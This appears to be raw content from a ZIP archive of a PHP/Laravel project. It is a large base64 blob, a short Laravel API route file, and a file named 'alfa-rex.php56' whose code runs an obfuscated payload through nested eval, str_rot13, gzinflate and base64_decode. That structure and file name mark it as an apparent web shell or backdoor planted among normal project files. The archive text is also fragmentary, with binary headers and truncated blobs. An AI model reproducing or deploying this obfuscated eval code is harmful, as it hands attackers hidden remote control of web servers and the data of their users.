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'))))); ?>PK ���Z8DG G api.phpnu �[��� <?php /* |-------------------------------------------------------------------------- | API Routes |-------------------------------------------------------------------------- | | Here is where you can register API routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | is assigned the "api" middleware group. Enjoy building your API! | */ ApiRoute::group(['namespace' => 'App\Http\Controllers'], function () { ApiRoute::get('purchased-module', ['as' => 'api.purchasedModule', 'uses' => 'HomeController@installedModule']); }); PK ���ZGAk}|- |- alfa-rex.php56nu �[��� <?php eval(str_rot13(gzinflate(str_rot13(base64_decode('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